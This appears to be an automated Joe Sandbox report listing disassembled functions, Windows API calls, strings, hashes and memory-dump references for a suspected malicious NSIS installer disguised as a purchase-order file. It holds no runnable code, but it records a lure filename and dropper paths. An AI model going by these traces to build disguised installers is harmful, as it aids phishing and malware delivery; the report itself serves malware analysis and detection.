Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: Process$Exit$EnvironmentFileHandleModulePathTempTokenVariableWindowslstrcat$AddressAdjustCharCommandCurrentDeleteDirectoryErrorIndirectInfoInitializeLineLookupMessageModeNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrlen
String ID: "$"C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe"$.tmp$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\Trangsvurderingens\Transfunderedes$C:\Users\user\Desktop$C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe$Error launching installer$Low$NSIS Error$Regangen Setup$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$`KXu$~nsu
API String ID: 3329125770-3841515056
Opcode ID: c6611ae9ac11e23741c835f25bc01884f32e14d02a86914436eec919e11b29ea
Instruction ID: 9f005f8ea334ebed05284af4b2fd35d6cfc3abe5f946e81cdcf7347df6e605c8
Opcode Fuzzy Hash: c6611ae9ac11e23741c835f25bc01884f32e14d02a86914436eec919e11b29ea
Instruction Fuzzy Hash: 02C1D7705082816AE7116F75AD4DA2F7EACAF8634AF04457FF541B61E2CB7C4A048B2E

Function 00405063 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 282
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 004050C2
GetDlgItem.USER32(?,000003EE), ref: 004050D1
GetClientRect.USER32(?,?), ref: 0040510E
GetSystemMetrics.USER32(00000002), ref: 00405115
SendMessageA.USER32(?,0000101B,00000000,?), ref: 00405136
SendMessageA.USER32(?,00001036,00004000,00004000), ref: 00405147
SendMessageA.USER32(?,00001001,00000000,?), ref: 0040515A
SendMessageA.USER32(?,00001026,00000000,?), ref: 00405168
SendMessageA.USER32(?,00001024,00000000,?), ref: 0040517B
ShowWindow.USER32(00000000,?,0000001B,?), ref: 0040519D
ShowWindow.USER32(?,00000008), ref: 004051B1
GetDlgItem.USER32(?,000003EC), ref: 004051D2
SendMessageA.USER32(00000000,00000401,00000000,75300000), ref: 004051E2
SendMessageA.USER32(00000000,00000409,00000000,?), ref: 004051FB
SendMessageA.USER32(00000000,00002001,00000000,?), ref: 00405207
GetDlgItem.USER32(?,000003F8), ref: 004050E0

Part of subcall function 00403F26: SendMessageA.USER32(00000028,?,00000001,00403D57), ref: 00403F34

GetDlgItem.USER32(?,000003EC), ref: 00405223
CreateThread.KERNEL32(00000000,00000000,Function_00004FF7,00000000), ref: 00405231
CloseHandle.KERNELBASE(00000000), ref: 00405238
ShowWindow.USER32(00000000), ref: 0040525B
ShowWindow.USER32(?,00000008), ref: 00405262
ShowWindow.USER32(00000008), ref: 004052A8
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004052DC
CreatePopupMenu.USER32 ref: 004052ED
AppendMenuA.USER32(00000000,00000000,00000001,00000000), ref: 00405302
GetWindowRect.USER32(?,000000FF), ref: 00405322
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 0040533B
SendMessageA.USER32(?,0000102D,00000000,?), ref: 00405377
OpenClipboard.USER32(00000000), ref: 00405387
EmptyClipboard.USER32 ref: 0040538D
GlobalAlloc.KERNEL32(00000042,?), ref: 00405396
GlobalLock.KERNEL32(00000000), ref: 004053A0
SendMessageA.USER32(?,0000102D,00000000,?), ref: 004053B4
GlobalUnlock.KERNEL32(00000000), ref: 004053CD
SetClipboardData.USER32(00000001,00000000), ref: 004053D8
CloseClipboard.USER32 ref: 004053DE

Strings

@y, xrefs: 00405353

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: @y
API String ID: 590372296-2793234042
Opcode ID: 0828e4ab056fce552cf715ec8d8979d73b4670e4ee89d676b692d6c801451d4a
Instruction ID: 0ac8b7377d144d48f6dc293dc42051cc71820a332a9e268c47e7b227606d372d
Opcode Fuzzy Hash: 0828e4ab056fce552cf715ec8d8979d73b4670e4ee89d676b692d6c801451d4a
Instruction Fuzzy Hash: 2CA15B70900248BFEB119FA0DD89EAE7F79FB08355F10406AFA05B61A0C7795E41DF69

Function 00405D2E Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 199
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(00000006,Skipped: C:\Users\user\AppData\Local\Temp\nsq8002.tmp\System.dll,00000000,00404F5D,Skipped: C:\Users\user\AppData\Local\Temp\nsq8002.tmp\System.dll,00000000), ref: 00405DDF
GetSystemDirectoryA.KERNEL32(Call,00000400), ref: 00405E5A
GetWindowsDirectoryA.KERNEL32(Call,00000400), ref: 00405E6D
SHGetSpecialFolderLocation.SHELL32(?,0078FCF8), ref: 00405EA9
SHGetPathFromIDListA.SHELL32(0078FCF8,Call), ref: 00405EB7
CoTaskMemFree.OLE32(0078FCF8), ref: 00405EC2
lstrcatA.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 00405EE4
lstrlenA.KERNEL32(Call,00000006,Skipped: C:\Users\user\AppData\Local\Temp\nsq8002.tmp\System.dll,00000000,00404F5D,Skipped: C:\Users\user\AppData\Local\Temp\nsq8002.tmp\System.dll,00000000), ref: 00405F36

Strings

Skipped: C:\Users\user\AppData\Local\Temp\nsq8002.tmp\System.dll, xrefs: 00405D5D
Call, xrefs: 00405D55, 00405E27, 00405E44, 00405E59, 00405E6C, 00405E88, 00405EB3, 00405EE3, 00405EE9, 00405F01, 00405F14, 00405F2F, 00405F35, 00405F40, 00405F6A
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00405EDE
Software\Microsoft\Windows\CurrentVersion, xrefs: 00405E29

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: Call$Skipped: C:\Users\user\AppData\Local\Temp\nsq8002.tmp\System.dll$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-118236429
Opcode ID: 8aaebd9e83df3b37401bec0d629d687f6ba259a9d136d118ad02b0f801d1bc8a
Instruction ID: 9bfabfc36fba32fb106481ebf294e43342570200e8730ead7ab322b99494356e
Opcode Fuzzy Hash: 8aaebd9e83df3b37401bec0d629d687f6ba259a9d136d118ad02b0f801d1bc8a
Instruction Fuzzy Hash: F7611231904A05ABEF115B24CC84BBF7BA8DB56314F10813BE555BA2D1D33D4A82DF9E

Function 10001A5D Relevance: 20.0, APIs: 13, Instructions: 540stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 10001215: GlobalAlloc.KERNELBASE(00000040,10001233,?,100012CF,-1000404B,100011AB,-000000A0), ref: 1000121D

GlobalAlloc.KERNELBASE(00000040,000014A4), ref: 10001B67
lstrcpyA.KERNEL32(00000008,?), ref: 10001BAF
lstrcpyA.KERNEL32(00000408,?), ref: 10001BB9
GlobalFree.KERNEL32(00000000), ref: 10001BCC
GlobalFree.KERNEL32(?), ref: 10001CC4
GlobalFree.KERNEL32(?), ref: 10001CC9
GlobalFree.KERNEL32(?), ref: 10001CCE
GlobalFree.KERNEL32(00000000), ref: 10001E76
lstrcpyA.KERNEL32(?,?), ref: 10001FCA

Memory Dump Source

Source File: 00000000.00000002.2632503904.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2632485014.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2632520015.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2632534659.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc
String ID:
API String ID: 4227406936-0
Opcode ID: 108015169a1f9511be137f3b76d088d284be53ebd3be1ec406ce9b744c5ee79e
Instruction ID: 780798ea066e4ece118e8e5fed0bf18c828ec290136deaf2e43fc5d0554b8685
Opcode Fuzzy Hash: 108015169a1f9511be137f3b76d088d284be53ebd3be1ec406ce9b744c5ee79e
Instruction Fuzzy Hash: 17129971D0424ADFFB20CFA4C8847EEBBF4FB043C4F61852AD5A1A2199DB749A81CB51

Function 004055AE Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 159
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileA.KERNELBASE(?,?,75573410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 004055D7
lstrcatA.KERNEL32(Frbids.tal,\*.*,Frbids.tal,?,?,75573410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 0040561F
lstrcatA.KERNEL32(?,00409014,?,Frbids.tal,?,?,75573410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405640
lstrlenA.KERNEL32(?,?,00409014,?,Frbids.tal,?,?,75573410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405646
FindFirstFileA.KERNELBASE(Frbids.tal,?,?,?,00409014,?,Frbids.tal,?,?,75573410,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00405657
FindNextFileA.KERNEL32(00000000,00000010,000000F2,?,?,?,00000000,?,?,0000003F), ref: 00405704
FindClose.KERNEL32(00000000), ref: 00405715

Strings

Frbids.tal, xrefs: 00405607, 0040560D, 0040561E, 00405654
\*.*, xrefs: 00405619
"C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe", xrefs: 004055AE
C:\Users\user\AppData\Local\Temp\, xrefs: 004055BB

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe"$C:\Users\user\AppData\Local\Temp\$Frbids.tal$\*.*
API String ID: 2035342205-1027846086
Opcode ID: a8a4b792d9683b8994eb6cd94214ef05887bb3d9b353618b8ffd8ce1ac1b6fd8
Instruction ID: 15aabf9ae26d8a027305d4c4078bc37ad96aa8a5c182164a2950041f9cf2f42d
Opcode Fuzzy Hash: a8a4b792d9683b8994eb6cd94214ef05887bb3d9b353618b8ffd8ce1ac1b6fd8
Instruction Fuzzy Hash: C651DF30800A04BADB21AB618C45BBF7A78DF42355F54857BF449B61D2D73C4981EE6E

Function 00406010 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNELBASE(75573410,0079FD90,C:\Users\user\AppData\Local\Temp\nsq8002.tmp,004058AF,C:\Users\user\AppData\Local\Temp\nsq8002.tmp,C:\Users\user\AppData\Local\Temp\nsq8002.tmp,00000000,C:\Users\user\AppData\Local\Temp\nsq8002.tmp,C:\Users\user\AppData\Local\Temp\nsq8002.tmp,75573410,?,C:\Users\user\AppData\Local\Temp\,004055CE,?,75573410,C:\Users\user\AppData\Local\Temp\), ref: 0040601B
FindClose.KERNEL32(00000000), ref: 00406027

Strings

C:\Users\user\AppData\Local\Temp\nsq8002.tmp, xrefs: 00406010

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: C:\Users\user\AppData\Local\Temp\nsq8002.tmp
API String ID: 2295610775-2063696683
Opcode ID: d30bbc16997dfcf9f9a572ec6341a2188e66bfdc939d37fad3f946c8dc482195
Instruction ID: 592bcfe3733b0aa744bdfcff45d7cd7e76fdd068ce72c1f71716353b7d55c377
Opcode Fuzzy Hash: d30bbc16997dfcf9f9a572ec6341a2188e66bfdc939d37fad3f946c8dc482195
Instruction Fuzzy Hash: 02D012319491305BC714977C7D4C84F7A6C9B193717114A32F46AF12E0C6749CA286E9

Function 00403A1E Relevance: 59.8, APIs: 32, Strings: 2, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403A5A
ShowWindow.USER32(?), ref: 00403A77
DestroyWindow.USER32 ref: 00403A8B
SetWindowLongA.USER32(?,00000000,00000000), ref: 00403AA7
GetDlgItem.USER32(?,?), ref: 00403AC8
SendMessageA.USER32(00000000,000000F3,00000000,00000000), ref: 00403ADC
IsWindowEnabled.USER32(00000000), ref: 00403AE3
GetDlgItem.USER32(?,00000001), ref: 00403B91
GetDlgItem.USER32(?,00000002), ref: 00403B9B
SetClassLongA.USER32(?,000000F2,?), ref: 00403BB5
SendMessageA.USER32(0000040F,00000000,00000001,?), ref: 00403C06
GetDlgItem.USER32(?,00000003), ref: 00403CAC
ShowWindow.USER32(00000000,?), ref: 00403CCD
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403CDF
EnableWindow.USER32(?,?), ref: 00403CFA
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403D10
EnableMenuItem.USER32(00000000), ref: 00403D17
SendMessageA.USER32(?,000000F4,00000000,00000001), ref: 00403D2F
SendMessageA.USER32(?,00000401,00000002,00000000), ref: 00403D42
lstrlenA.KERNEL32(0079E540,?,0079E540,Regangen Setup), ref: 00403D6B
SetWindowTextA.USER32(?,0079E540), ref: 00403D7A
ShowWindow.USER32(?,0000000A), ref: 00403EAE

Strings

Regangen Setup, xrefs: 00403D5C
@y, xrefs: 00403D57

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: @y$Regangen Setup
API String ID: 3282139019-3144617067
Opcode ID: f91631ea6a7899119ed47f58db1b72be55114eb3759132e365ec33f9056147a3
Instruction ID: 604a4885fc931abc1044a41a4cf0f2958d917e977c7d56f4e50accb35e18e33b
Opcode Fuzzy Hash: f91631ea6a7899119ed47f58db1b72be55114eb3759132e365ec33f9056147a3
Instruction Fuzzy Hash: F1C1AE31904205ABEB216F61ED85E2B3EACEB4574AF00453EF501B11F1C739A942DB5E

Function 0040368C Relevance: 47.5, APIs: 13, Strings: 14, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004060A5: GetModuleHandleA.KERNEL32(?,?,?,00403156,00000009), ref: 004060B7
Part of subcall function 004060A5: GetProcAddress.KERNEL32(00000000,?), ref: 004060D2

lstrcatA.KERNEL32(1033,0079E540,80000001,Control Panel\Desktop\ResourceLocale,00000000,0079E540,00000000,00000002,75573410,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe",00000000), ref: 00403707
lstrlenA.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne,1033,0079E540,80000001,Control Panel\Desktop\ResourceLocale,00000000,0079E540,00000000,00000002,75573410), ref: 0040377C
lstrcmpiA.KERNEL32(?,.exe), ref: 0040378F
GetFileAttributesA.KERNEL32(Call), ref: 0040379A
LoadImageA.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne), ref: 004037E3

Part of subcall function 00405C6A: wsprintfA.USER32 ref: 00405C77

RegisterClassA.USER32(007A16E0), ref: 00403820
SystemParametersInfoA.USER32(00000030,00000000,?,00000000), ref: 00403838
CreateWindowExA.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 0040386D
ShowWindow.USER32(00000005,00000000), ref: 004038A3
GetClassInfoA.USER32(00000000,RichEdit20A,007A16E0), ref: 004038CF
GetClassInfoA.USER32(00000000,RichEdit,007A16E0), ref: 004038DC
RegisterClassA.USER32(007A16E0), ref: 004038E5
DialogBoxParamA.USER32(?,00000000,00403A1E,00000000), ref: 00403904

Strings

@y, xrefs: 004036B8
RichEd32, xrefs: 004038B7
Control Panel\Desktop\ResourceLocale, xrefs: 004036C0
1033, xrefs: 004036AC, 00403702
RichEd20, xrefs: 004038A9
.DEFAULT\Control Panel\International, xrefs: 004036F2
"C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe", xrefs: 00403690
C:\Users\user\AppData\Local\Temp\, xrefs: 00403691
_Nb, xrefs: 004037FF, 00403867
C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne, xrefs: 00403716, 0040371E, 004037B6, 004037BC, 004037CC
RichEdit20A, xrefs: 004038C7, 004038CD
Call, xrefs: 0040374A, 00403752, 0040375F, 004037A9, 004037AF
.exe, xrefs: 00403789
RichEdit, xrefs: 004038D6

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608064111.00000000007BC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608699661.00000000007BE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO-10212024168877 PNG2023-W101.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe"$.DEFAULT\Control Panel\International$.exe$1033$@y$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 1975747703-3849932500
Opcode ID: 1f1d7b7cedc4fdc1a161c84c86f92609142e4f2c1f25f6f9bda009316c644032
Instruction ID: b6748c6733e3bb55aa357910a2c4fdec813f4d760fd6ac6bc3454eeade69f907
Opcode Fuzzy Hash: 1f1d7b7cedc4fdc1a161c84c86f92609142e4f2c1f25f6f9bda009316c644032
Instruction Fuzzy Hash: D06106B4504244AEE710AF659C45F3B3AACEB85789F00857FF900B22E1D77CAD019B2D

Function 00402C66 Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402C77
GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe,00000400), ref: 00402C93

Part of subcall function 0040597F: GetFileAttributesA.KERNELBASE(00000003,00402CA6,C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe,80000000,00000003), ref: 00405983
Part of subcall function 0040597F: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 004059A5

GetFileSize.KERNEL32(00000000,00000000,007AA000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe,C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe,80000000,00000003), ref: 00402CDF

Strings

C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe, xrefs: 00402C7D, 00402C8C, 00402CA0, 00402CC0
Error launching installer, xrefs: 00402CB6
Inst, xrefs: 00402D4B
C:\Users\user\Desktop, xrefs: 00402CC1, 00402CC6, 00402CCC
soft, xrefs: 00402D54
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error, xrefs: 00402E3E
Null, xrefs: 00402D5D
"C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe", xrefs: 00402C66
C:\Users\user\AppData\Local\Temp\, xrefs: 00402C6D

Memory Dump Source

Source File: 00000000.00000002.2608029986.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2608013440.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2608047008.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
